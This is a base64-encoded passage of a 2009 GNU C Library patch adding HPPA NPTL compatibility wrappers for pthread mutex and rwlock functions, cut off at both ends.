cGF0X2xvY2sgKHZhcik7CisgIGNvbXBhdF9tYWxsb2MgKHZhcik7CisgIGNv
bXBhdF9tdXRleF9jb3B5ICh2YXIpOworICBjb21wYXRfdW5sb2NrICh2YXIp
OworICByZXR1cm4gX19wdGhyZWFkX211dGV4X3RpbWVkbG9jayAodmFyLT5j
b21wYXQsIGFic190aW1lb3V0KTsKK30KK2NvbXBhdF9zeW1ib2wgKGxpYnB0
aHJlYWQsIF9fcHRocmVhZF9tdXRleF90aW1lZGxvY2tfaHBwYV8yXzAsIHB0
aHJlYWRfbXV0ZXhfdGltZWRsb2NrLAorCSAgICAgICBHTElCQ18yXzApOwor
I2VuZGlmCisKSW5kZXg6IHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEv
bnB0bC9vbGRfaHBwYV9wdGhyZWFkX211dGV4X3RyeWxvY2suYwo9PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09ClJDUyBmaWxlOiBzeXNkZXBzL3VuaXgvc3lzdi9s
aW51eC9ocHBhL25wdGwvb2xkX2hwcGFfcHRocmVhZF9tdXRleF90cnlsb2Nr
LmMKZGlmZiAtTiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwv
b2xkX2hwcGFfcHRocmVhZF9tdXRleF90cnlsb2NrLmMKLS0tIC9kZXYvbnVs
bAkxIEphbiAxOTcwIDAwOjAwOjAwIC0wMDAwCisrKyBzeXNkZXBzL3VuaXgv
c3lzdi9saW51eC9ocHBhL25wdGwvb2xkX2hwcGFfcHRocmVhZF9tdXRleF90
cnlsb2NrLmMJMiBBcHIgMjAwOSAwMjozNDowMyAtMDAwMApAQCAtMCwwICsx
LDM3IEBACisvKiBDb3B5cmlnaHQgKEMpIDIwMDkgRnJlZSBTb2Z0d2FyZSBG
b3VuZGF0aW9uLCBJbmMuCisgICBUaGlzIGZpbGUgaXMgcGFydCBvZiB0aGUg
R05VIEMgTGlicmFyeS4KKyAgIENvbnRyaWJ1dGVkIGJ5IENhcmxvcyBPJ0Rv
bmVsbCA8Y2FybG9zQGNvZGVzb3VyY2VyeS5jb20+LCAyMDA5LgorCisgICBU
aGUgR05VIEMgTGlicmFyeSBpcyBmcmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJl
ZGlzdHJpYnV0ZSBpdCBhbmQvb3IKKyAgIG1vZGlmeSBpdCB1bmRlciB0aGUg
dGVybXMgb2YgdGhlIEdOVSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMKKyAgIExp
Y2Vuc2UgYXMgcHVibGlzaGVkIGJ5IHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5k
YXRpb247IGVpdGhlcgorICAgdmVyc2lvbiAyLjEgb2YgdGhlIExpY2Vuc2Us
IG9yIChhdCB5b3VyIG9wdGlvbikgYW55IGxhdGVyIHZlcnNpb24uCisKKyAg
IFRoZSBHTlUgQyBMaWJyYXJ5IGlzIGRpc3RyaWJ1dGVkIGluIHRoZSBob3Bl
IHRoYXQgaXQgd2lsbCBiZSB1c2VmdWwsCisgICBidXQgV0lUSE9VVCBBTlkg
V0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBv
ZgorICAgTUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElD
VUxBUiBQVVJQT1NFLiAgU2VlIHRoZSBHTlUKKyAgIExlc3NlciBHZW5lcmFs
IFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMuCisKKyAgIFlvdSBz
aG91bGQgaGF2ZSByZWNlaXZlZCBhIGNvcHkgb2YgdGhlIEdOVSBMZXNzZXIg
R2VuZXJhbCBQdWJsaWMKKyAgIExpY2Vuc2UgYWxvbmcgd2l0aCB0aGUgR05V
IEMgTGlicmFyeTsgaWYgbm90LCB3cml0ZSB0byB0aGUgRnJlZQorICAgU29m
dHdhcmUgRm91bmRhdGlvbiwgSW5jLiwgNTkgVGVtcGxlIFBsYWNlLCBTdWl0
ZSAzMzAsIEJvc3RvbiwgTUEKKyAgIDAyMTExLTEzMDcgVVNBLiAgKi8KKwor
I2luY2x1ZGUgPGVycm5vLmg+CisjaW5jbHVkZSAicHRocmVhZFAuaCIKKyNp
bmNsdWRlIDxzaGxpYi1jb21wYXQuaD4KKworI2lmIFNITElCX0NPTVBBVChs
aWJwdGhyZWFkLCBHTElCQ18yXzAsIEdMSUJDXzJfOSkKK2ludAorX19wdGhy
ZWFkX211dGV4X3RyeWxvY2tfaHBwYV8yXzAgKHB0aHJlYWRfbXV0ZXhfaHBw
YV8yXzBfdCAqdmFyKQoreworICBjb21wYXRfbG9jayAodmFyKTsKKyAgY29t
cGF0X21hbGxvYyAodmFyKTsKKyAgY29tcGF0X211dGV4X2NvcHkgKHZhcik7
CisgIGNvbXBhdF91bmxvY2sgKHZhcik7CisgIHJldHVybiBfX3B0aHJlYWRf
bXV0ZXhfdHJ5bG9jayAodmFyLT5jb21wYXQpOworfQorY29tcGF0X3N5bWJv
bCAobGlicHRocmVhZCwgX19wdGhyZWFkX211dGV4X3RyeWxvY2tfaHBwYV8y
XzAsIHB0aHJlYWRfbXV0ZXhfdHJ5bG9jaywKKwkgICAgICAgR0xJQkNfMl8w
KTsKKyNlbmRpZgorCkluZGV4OiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9o
cHBhL25wdGwvb2xkX2hwcGFfcHRocmVhZF9tdXRleF91bmxvY2suYwo9PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09ClJDUyBmaWxlOiBzeXNkZXBzL3VuaXgvc3lz
di9saW51eC9ocHBhL25wdGwvb2xkX2hwcGFfcHRocmVhZF9tdXRleF91bmxv
Y2suYwpkaWZmIC1OIHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0
bC9vbGRfaHBwYV9wdGhyZWFkX211dGV4X3VubG9jay5jCi0tLSAvZGV2L251
bGwJMSBKYW4gMTk3MCAwMDowMDowMCAtMDAwMAorKysgc3lzZGVwcy91bml4
L3N5c3YvbGludXgvaHBwYS9ucHRsL29sZF9ocHBhX3B0aHJlYWRfbXV0ZXhf
dW5sb2NrLmMJMiBBcHIgMjAwOSAwMjozNDowMyAtMDAwMApAQCAtMCwwICsx
LDM3IEBACisvKiBDb3B5cmlnaHQgKEMpIDIwMDkgRnJlZSBTb2Z0d2FyZSBG
b3VuZGF0aW9uLCBJbmMuCisgICBUaGlzIGZpbGUgaXMgcGFydCBvZiB0aGUg
R05VIEMgTGlicmFyeS4KKyAgIENvbnRyaWJ1dGVkIGJ5IENhcmxvcyBPJ0Rv
bmVsbCA8Y2FybG9zQGNvZGVzb3VyY2VyeS5jb20+LCAyMDA5LgorCisgICBU
aGUgR05VIEMgTGlicmFyeSBpcyBmcmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJl
ZGlzdHJpYnV0ZSBpdCBhbmQvb3IKKyAgIG1vZGlmeSBpdCB1bmRlciB0aGUg
dGVybXMgb2YgdGhlIEdOVSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMKKyAgIExp
Y2Vuc2UgYXMgcHVibGlzaGVkIGJ5IHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5k
YXRpb247IGVpdGhlcgorICAgdmVyc2lvbiAyLjEgb2YgdGhlIExpY2Vuc2Us
IG9yIChhdCB5b3VyIG9wdGlvbikgYW55IGxhdGVyIHZlcnNpb24uCisKKyAg
IFRoZSBHTlUgQyBMaWJyYXJ5IGlzIGRpc3RyaWJ1dGVkIGluIHRoZSBob3Bl
IHRoYXQgaXQgd2lsbCBiZSB1c2VmdWwsCisgICBidXQgV0lUSE9VVCBBTlkg
V0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBv
ZgorICAgTUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElD
VUxBUiBQVVJQT1NFLiAgU2VlIHRoZSBHTlUKKyAgIExlc3NlciBHZW5lcmFs
IFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMuCisKKyAgIFlvdSBz
aG91bGQgaGF2ZSByZWNlaXZlZCBhIGNvcHkgb2YgdGhlIEdOVSBMZXNzZXIg
R2VuZXJhbCBQdWJsaWMKKyAgIExpY2Vuc2UgYWxvbmcgd2l0aCB0aGUgR05V
IEMgTGlicmFyeTsgaWYgbm90LCB3cml0ZSB0byB0aGUgRnJlZQorICAgU29m
dHdhcmUgRm91bmRhdGlvbiwgSW5jLiwgNTkgVGVtcGxlIFBsYWNlLCBTdWl0
ZSAzMzAsIEJvc3RvbiwgTUEKKyAgIDAyMTExLTEzMDcgVVNBLiAgKi8KKwor
I2luY2x1ZGUgPGVycm5vLmg+CisjaW5jbHVkZSAicHRocmVhZFAuaCIKKyNp
bmNsdWRlIDxzaGxpYi1jb21wYXQuaD4KKworI2lmIFNITElCX0NPTVBBVChs
aWJwdGhyZWFkLCBHTElCQ18yXzAsIEdMSUJDXzJfOSkKK2ludAorX19wdGhy
ZWFkX211dGV4X3VubG9ja19ocHBhXzJfMCAocHRocmVhZF9tdXRleF9ocHBh
XzJfMF90ICp2YXIpCit7CisgIGNvbXBhdF9sb2NrICh2YXIpOworICBjb21w
YXRfbWFsbG9jICh2YXIpOworICBjb21wYXRfbXV0ZXhfY29weSAodmFyKTsK
KyAgY29tcGF0X3VubG9jayAodmFyKTsKKyAgcmV0dXJuIF9fcHRocmVhZF9t
dXRleF91bmxvY2sodmFyLT5jb21wYXQpOworfQorY29tcGF0X3N5bWJvbCAo
bGlicHRocmVhZCwgX19wdGhyZWFkX211dGV4X3VubG9ja19ocHBhXzJfMCwg
cHRocmVhZF9tdXRleF91bmxvY2ssCisJICAgICAgIEdMSUJDXzJfMCk7Cisj
ZW5kaWYKKwpJbmRleDogc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9u
cHRsL29sZF9ocHBhX3B0aHJlYWRfcndsb2NrX2Rlc3Ryb3kuYwo9PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09ClJDUyBmaWxlOiBzeXNkZXBzL3VuaXgvc3lzdi9s
aW51eC9ocHBhL25wdGwvb2xkX2hwcGFfcHRocmVhZF9yd2xvY2tfZGVzdHJv
eS5jCmRpZmYgLU4gc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRs
L29sZF9ocHBhX3B0aHJlYWRfcndsb2NrX2Rlc3Ryb3kuYwotLS0gL2Rldi9u
dWxsCTEgSmFuIDE5NzAgMDA6MDA6MDAgLTAwMDAKKysrIHN5c2RlcHMvdW5p
eC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9vbGRfaHBwYV9wdGhyZWFkX3J3bG9j
a19kZXN0cm95LmMJMiBBcHIgMjAwOSAwMjozNDowMyAtMDAwMApAQCAtMCww
ICsxLDQwIEBACisvKiBDb3B5cmlnaHQgKEMpIDIwMDkgRnJlZSBTb2Z0d2Fy
ZSBGb3VuZGF0aW9uLCBJbmMuCisgICBUaGlzIGZpbGUgaXMgcGFydCBvZiB0
aGUgR05VIEMgTGlicmFyeS4KKyAgIENvbnRyaWJ1dGVkIGJ5IENhcmxvcyBP
J0RvbmVsbCA8Y2FybG9zQGNvZGVzb3VyY2VyeS5jb20+LCAyMDA5LgorCisg
ICBUaGUgR05VIEMgTGlicmFyeSBpcyBmcmVlIHNvZnR3YXJlOyB5b3UgY2Fu
IHJlZGlzdHJpYnV0ZSBpdCBhbmQvb3IKKyAgIG1vZGlmeSBpdCB1bmRlciB0
aGUgdGVybXMgb2YgdGhlIEdOVSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMKKyAg
IExpY2Vuc2UgYXMgcHVibGlzaGVkIGJ5IHRoZSBGcmVlIFNvZnR3YXJlIEZv
dW5kYXRpb247IGVpdGhlcgorICAgdmVyc2lvbiAyLjEgb2YgdGhlIExpY2Vu
c2UsIG9yIChhdCB5b3VyIG9wdGlvbikgYW55IGxhdGVyIHZlcnNpb24uCisK
KyAgIFRoZSBHTlUgQyBMaWJyYXJ5IGlzIGRpc3RyaWJ1dGVkIGluIHRoZSBo
b3BlIHRoYXQgaXQgd2lsbCBiZSB1c2VmdWwsCisgICBidXQgV0lUSE9VVCBB
TlkgV0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50
eSBvZgorICAgTUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFS
VElDVUxBUiBQVVJQT1NFLiAgU2VlIHRoZSBHTlUKKyAgIExlc3NlciBHZW5l
cmFsIFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMuCisKKyAgIFlv
dSBzaG91bGQgaGF2ZSByZWNlaXZlZCBhIGNvcHkgb2YgdGhlIEdOVSBMZXNz
ZXIgR2VuZXJhbCBQdWJsaWMKKyAgIExpY2Vuc2UgYWxvbmcgd2l0aCB0aGUg
R05VIEMgTGlicmFyeTsgaWYgbm90LCB3cml0ZSB0byB0aGUgRnJlZQorICAg
U29mdHdhcmUgRm91bmRhdGlvbiwgSW5jLiwgNTkgVGVtcGxlIFBsYWNlLCBT
dWl0ZSAzMzAsIEJvc3RvbiwgTUEKKyAgIDAyMTExLTEzMDcgVVNBLiAgKi8K
KworI2luY2x1ZGUgPGVycm5vLmg+CisjaW5jbHVkZSAicHRocmVhZFAuaCIK
KyNpbmNsdWRlIDxzaGxpYi1jb21wYXQuaD4KKworI2lmIFNITElCX0NPTVBB
VChsaWJwdGhyZWFkLCBHTElCQ18yXzAsIEdMSUJDXzJfOSkKK2ludAorX19w
dGhyZWFkX3J3bG9ja19kZXN0cm95X2hwcGFfMl8wIChwdGhyZWFkX3J3bG9j
a19ocHBhXzJfMF90ICp2YXIpCit7CisgIGludCByZXQ7CisgIGlmIChjb21w
YXRfcHJlc2VudCAodmFyKSkKKyAgICB7CisgICAgICByZXQgPSBfX3B0aHJl
YWRfcndsb2NrX2Rlc3Ryb3kodmFyLT5jb21wYXQpOworICAgICAgY29tcGF0
X2ZyZWUgKHZhcik7CisgICAgICByZXR1cm4gcmV0OworICAgIH0KKyAgcmV0
dXJuIDA7Cit9Citjb21wYXRfc3ltYm9sIChsaWJwdGhyZWFkLCBfX3B0aHJl
YWRfcndsb2NrX2Rlc3Ryb3lfaHBwYV8yXzAsIAorCSAgICAgICBwdGhyZWFk
X3J3bG9ja19kZXN0cm95LCBHTElCQ18yXzApOworI2VuZGlmCisKSW5kZXg6
IHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9vbGRfaHBwYV9w
dGhyZWFkX3J3bG9ja19pbml0LmMKPT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpS
Q1MgZmlsZTogc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRsL29s
ZF9ocHBhX3B0aHJlYWRfcndsb2NrX2luaXQuYwpkaWZmIC1OIHN5c2RlcHMv
dW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9vbGRfaHBwYV9wdGhyZWFkX3J3
bG9ja19pbml0LmMKLS0tIC9kZXYvbnVsbAkxIEphbiAxOTcwIDAwOjAwOjAw
IC0wMDAwCisrKyBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwv
b2xkX2hwcGFfcHRocmVhZF9yd2xvY2tfaW5pdC5jCTIgQXByIDIwMDkgMDI6
MzQ6MDMgLTAwMDAKQEAgLTAsMCArMSwzNyBAQAorLyogQ29weXJpZ2h0IChD
KSAyMDA5IEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbiwgSW5jLgorICAgVGhp
cyBmaWxlIGlzIHBhcnQgb2YgdGhlIEdOVSBDIExpYnJhcnkuCisgICBDb250
cmlidXRlZCBieSBDYXJsb3MgTydEb25lbGwgPGNhcmxvc0Bjb2Rlc291cmNl
cnkuY29tPiwgMjAwOS4KKworICAgVGhlIEdOVSBDIExpYnJhcnkgaXMgZnJl
ZSBzb2Z0d2FyZTsgeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5kL29yCisg
ICBtb2RpZnkgaXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgTGVzc2Vy
IEdlbmVyYWwgUHVibGljCisgICBMaWNlbnNlIGFzIHB1Ymxpc2hlZCBieSB0
aGUgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uOyBlaXRoZXIKKyAgIHZlcnNp
b24gMi4xIG9mIHRoZSBMaWNlbnNlLCBvciAoYXQgeW91ciBvcHRpb24pIGFu
eSBsYXRlciB2ZXJzaW9uLgorCisgICBUaGUgR05VIEMgTGlicmFyeSBpcyBk
aXN0cmlidXRlZCBpbiB0aGUgaG9wZSB0aGF0IGl0IHdpbGwgYmUgdXNlZnVs
LAorICAgYnV0IFdJVEhPVVQgQU5ZIFdBUlJBTlRZOyB3aXRob3V0IGV2ZW4g
dGhlIGltcGxpZWQgd2FycmFudHkgb2YKKyAgIE1FUkNIQU5UQUJJTElUWSBv
ciBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRS4gIFNlZSB0aGUg
R05VCisgICBMZXNzZXIgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBmb3IgbW9y
ZSBkZXRhaWxzLgorCisgICBZb3Ugc2hvdWxkIGhhdmUgcmVjZWl2ZWQgYSBj
b3B5IG9mIHRoZSBHTlUgTGVzc2VyIEdlbmVyYWwgUHVibGljCisgICBMaWNl
bnNlIGFsb25nIHdpdGggdGhlIEdOVSBDIExpYnJhcnk7IGlmIG5vdCwgd3Jp
dGUgdG8gdGhlIEZyZWUKKyAgIFNvZnR3YXJlIEZvdW5kYXRpb24sIEluYy4s
IDU5IFRlbXBsZSBQbGFjZSwgU3VpdGUgMzMwLCBCb3N0b24sIE1BCisgICAw
MjExMS0xMzA3IFVTQS4gICovCisKKyNpbmNsdWRlIDxlcnJuby5oPgorI2lu
Y2x1ZGUgInB0aHJlYWRQLmgiCisjaW5jbHVkZSA8c2hsaWItY29tcGF0Lmg+
CisKKyNpZiBTSExJQl9DT01QQVQobGlicHRocmVhZCwgR0xJQkNfMl8wLCBH
TElCQ18yXzkpCitpbnQKK19fcHRocmVhZF9yd2xvY2tfaW5pdF9ocHBhXzJf
MCAocHRocmVhZF9yd2xvY2tfaHBwYV8yXzBfdCAqdmFyLAorCQkJICAgICAg
IGNvbnN0IHB0aHJlYWRfcndsb2NrYXR0cl90ICphdHRyKQoreworICAvKiBB
bGwgb3RoZXIgY29tcGF0IGZ1bmN0aW9ucyBleHBlY3QgYW4gaW5pdGlhbGl6
ZWQgbG9jay4gICovCisgIGNvbXBhdF9pbml0ICh2YXIpOworICBjb21wYXRf
bWFsbG9jX25vbG9jayAodmFyKTsKKyAgcmV0dXJuIF9fcHRocmVhZF9yd2xv
Y2tfaW5pdCAodmFyLT5jb21wYXQsIGF0dHIpOworfQorY29tcGF0X3N5bWJv
bCAobGlicHRocmVhZCwgX19wdGhyZWFkX3J3bG9ja19pbml0X2hwcGFfMl8w
LCBwdGhyZWFkX3J3bG9ja19pbml0LAorCSAgICAgICBHTElCQ18yXzApOwor
I2VuZGlmCisKSW5kZXg6IHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEv
bnB0bC9vbGRfaHBwYV9wdGhyZWFkX3J3bG9ja19yZGxvY2suYwo9PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09ClJDUyBmaWxlOiBzeXNkZXBzL3VuaXgvc3lzdi9s
aW51eC9ocHBhL25wdGwvb2xkX2hwcGFfcHRocmVhZF9yd2xvY2tfcmRsb2Nr
LmMKZGlmZiAtTiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwv
b2xkX2hwcGFfcHRocmVhZF9yd2xvY2tfcmRsb2NrLmMKLS0tIC9kZXYvbnVs
bAkxIEphbiAxOTcwIDAwOjAwOjAwIC0wMDAwCisrKyBzeXNkZXBzL3VuaXgv
c3lzdi9saW51eC9ocHBhL25wdGwvb2xkX2hwcGFfcHRocmVhZF9yd2xvY2tf
cmRsb2NrLmMJMiBBcHIgMjAwOSAwMjozNDowMyAtMDAwMApAQCAtMCwwICsx
LDM3IEBACisvKiBDb3B5cmlnaHQgKEMpIDIwMDkgRnJlZSBTb2Z0d2FyZSBG
b3VuZGF0aW9uLCBJbmMuCisgICBUaGlzIGZpbGUgaXMgcGFydCBvZiB0aGUg
R05VIEMgTGlicmFyeS4KKyAgIENvbnRyaWJ1dGVkIGJ5IENhcmxvcyBPJ0Rv
bmVsbCA8Y2FybG9zQGNvZGVzb3VyY2VyeS5jb20+LCAyMDA5LgorCisgICBU
aGUgR05VIEMgTGlicmFyeSBpcyBmcmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJl
ZGlzdHJpYnV0ZSBpdCBhbmQvb3IKKyAgIG1vZGlmeSBpdCB1bmRlciB0aGUg
dGVybXMgb2YgdGhlIEdOVSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMKKyAgIExp
Y2Vuc2UgYXMgcHVibGlzaGVkIGJ5IHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5k
YXRpb247IGVpdGhlcgorICAgdmVyc2lvbiAyLjEgb2YgdGhlIExpY2Vuc2Us
IG9yIChhdCB5b3VyIG9wdGlvbikgYW55IGxhdGVyIHZlcnNpb24uCisKKyAg
IFRoZSBHTlUgQyBMaWJyYXJ5IGlzIGRpc3RyaWJ1dGVkIGluIHRoZSBob3Bl
IHRoYXQgaXQgd2lsbCBiZSB1c2VmdWwsCisgICBidXQgV0lUSE9VVCBBTlkg
V0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBv
ZgorICAgTUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElD
VUxBUiBQVVJQT1NFLiAgU2VlIHRoZSBHTlUKKyAgIExlc3NlciBHZW5lcmFs
IFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMuCisKKyAgIFlvdSBz
aG91bGQgaGF2ZSByZWNlaXZlZCBhIGNvcHkgb2YgdGhlIEdOVSBMZXNzZXIg
R2VuZXJhbCBQdWJsaWMKKyAgIExpY2Vuc2UgYWxvbmcgd2l0aCB0aGUgR05V
IEMgTGlicmFyeTsgaWYgbm90LCB3cml0ZSB0byB0aGUgRnJlZQorICAgU29m
dHdhcmUgRm91bmRhdGlvbiwgSW5jLiwgNTkgVGVtcGxlIFBsYWNlLCBTdWl0
ZSAzMzAsIEJvc3RvbiwgTUEKKyAgIDAyMTExLTEzMDcgVVNBLiAgKi8KKwor
I2luY2x1ZGUgPGVycm5vLmg+CisjaW5jbHVkZSAicHRocmVhZFAuaCIKKyNp
bmNsdWRlIDxzaGxpYi1jb21wYXQuaD4KKworI2lmIFNITElCX0NPTVBBVChs
aWJwdGhyZWFkLCBHTElCQ18yXzAsIEdMSUJDXzJfOSkKK2ludAorX19wdGhy
ZWFkX3J3bG9ja19yZGxvY2tfaHBwYV8yXzAgKHB0aHJlYWRfcndsb2NrX2hw
cGFfMl8wX3QgKnZhcikKK3sKKyAgY29tcGF0X2xvY2sgKHZhcik7CisgIGNv
bXBhdF9tYWxsb2MgKHZhcik7CisgIGNvbXBhdF9yd2xvY2tfY29weSAodmFy
KTsKKyAgY29tcGF0X3VubG9jayAodmFyKTsKKyAgcmV0dXJuIF9fcHRocmVh
ZF9yd2xvY2tfcmRsb2NrICh2YXItPmNvbXBhdCk7Cit9Citjb21wYXRfc3lt
Ym9sIChsaWJwdGhyZWFkLCBfX3B0aHJlYWRfcndsb2NrX3JkbG9ja19ocHBh
XzJfMCwgcHRocmVhZF9yd2xvY2tfcmRsb2NrLAorCSAgICAgICBHTElCQ18y
XzApOworI2VuZGlmCisKSW5kZXg6IHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4
L2hwcGEvbnB0bC9vbGRfaHBwYV9wdGhyZWFkX3J3bG9ja190aW1lZHJkbG9j
ay5jCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT0KUkNTIGZpbGU6IHN5c2RlcHMv
dW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9vbGRfaHBwYV9wdGhyZWFkX3J3
bG9ja190aW1lZHJkbG9jay5jCmRpZmYgLU4gc3lzZGVwcy91bml4L3N5c3Yv
bGludXgvaHBwYS9ucHRsL29sZF9ocHBhX3B0aHJlYWRfcndsb2NrX3RpbWVk
cmRsb2NrLmMKLS0tIC9kZXYvbnVsbAkxIEphbiAxOTcwIDAwOjAwOjAwIC0w
MDAwCisrKyBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwvb2xk
X2hwcGFfcHRocmVhZF9yd2xvY2tfdGltZWRyZGxvY2suYwkyIEFwciAyMDA5
IDAyOjM0OjAzIC0wMDAwCkBAIC0wLDAgKzEsNDAgQEAKKy8qIENvcHlyaWdo
dCAoQykgMjAwOSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb24sIEluYy4KKyAg
IFRoaXMgZmlsZSBpcyBwYXJ0IG9mIHRoZSBHTlUgQyBMaWJyYXJ5LgorICAg
Q29udHJpYnV0ZWQgYnkgQ2FybG9zIE8nRG9uZWxsIDxjYXJsb3NAY29kZXNv
dXJjZXJ5LmNvbT4sIDIwMDkuCisKKyAgIFRoZSBHTlUgQyBMaWJyYXJ5IGlz
IGZyZWUgc29mdHdhcmU7IHlvdSBjYW4gcmVkaXN0cmlidXRlIGl0IGFuZC9v
cgorICAgbW9kaWZ5IGl0IHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGUgR05VIExl
c3NlciBHZW5lcmFsIFB1YmxpYworICAgTGljZW5zZSBhcyBwdWJsaXNoZWQg
YnkgdGhlIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbjsgZWl0aGVyCisgICB2
ZXJzaW9uIDIuMSBvZiB0aGUgTGljZW5zZSwgb3IgKGF0IHlvdXIgb3B0aW9u
KSBhbnkgbGF0ZXIgdmVyc2lvbi4KKworICAgVGhlIEdOVSBDIExpYnJhcnkg
aXMgZGlzdHJpYnV0ZWQgaW4gdGhlIGhvcGUgdGhhdCBpdCB3aWxsIGJlIHVz
ZWZ1bCwKKyAgIGJ1dCBXSVRIT1VUIEFOWSBXQVJSQU5UWTsgd2l0aG91dCBl
dmVuIHRoZSBpbXBsaWVkIHdhcnJhbnR5IG9mCisgICBNRVJDSEFOVEFCSUxJ
VFkgb3IgRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UuICBTZWUg
dGhlIEdOVQorICAgTGVzc2VyIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgZm9y
IG1vcmUgZGV0YWlscy4KKworICAgWW91IHNob3VsZCBoYXZlIHJlY2VpdmVk
IGEgY29weSBvZiB0aGUgR05VIExlc3NlciBHZW5lcmFsIFB1YmxpYworICAg
TGljZW5zZSBhbG9uZyB3aXRoIHRoZSBHTlUgQyBMaWJyYXJ5OyBpZiBub3Qs
IHdyaXRlIHRvIHRoZSBGcmVlCisgICBTb2Z0d2FyZSBGb3VuZGF0aW9uLCBJ
bmMuLCA1OSBUZW1wbGUgUGxhY2UsIFN1aXRlIDMzMCwgQm9zdG9uLCBNQQor
ICAgMDIxMTEtMTMwNyBVU0EuICAqLworCisjaW5jbHVkZSA8ZXJybm8uaD4K
KyNpbmNsdWRlIDx0aW1lLmg+CisjaW5jbHVkZSAicHRocmVhZFAuaCIKKwor
I2luY2x1ZGUgPHNobGliLWNvbXBhdC5oPgorCisjaWYgU0hMSUJfQ09NUEFU
KGxpYnB0aHJlYWQsIEdMSUJDXzJfMCwgR0xJQkNfMl85KQoraW50CitfX3B0
aHJlYWRfcndsb2NrX3RpbWVkcmRsb2NrX2hwcGFfMl8wIChwdGhyZWFkX3J3
bG9ja19ocHBhXzJfMF90ICp2YXIsCisJCQkJICAgICAgIGNvbnN0IHN0cnVj
dCB0aW1lc3BlYyAqYWJzX3RpbWVvdXQpCit7CisgIGNvbXBhdF9sb2NrICh2
YXIpOworICBjb21wYXRfbWFsbG9jICh2YXIpOworICBjb21wYXRfcndsb2Nr
X2NvcHkgKHZhcik7CisgIGNvbXBhdF91bmxvY2sgKHZhcik7CisgIHJldHVy
biBfX3B0aHJlYWRfcndsb2NrX3RpbWVkcmRsb2NrICh2YXItPmNvbXBhdCwg
YWJzX3RpbWVvdXQpOworfQorY29tcGF0X3N5bWJvbCAobGlicHRocmVhZCwg
X19wdGhyZWFkX3J3bG9ja190aW1lZHJkbG9ja19ocHBhXzJfMCwgcHRocmVh
ZF9yd2xvY2tfdGltZWRyZGxvY2ssCisJICAgICAgIEdMSUJDXzJfMCk7Cisj
ZW5kaWYKKwpJbmRleDogc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9u
cHRsL29sZF9ocHBhX3B0aHJlYWRfcndsb2NrX3RpbWVkd3Jsb2NrLmMKPT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
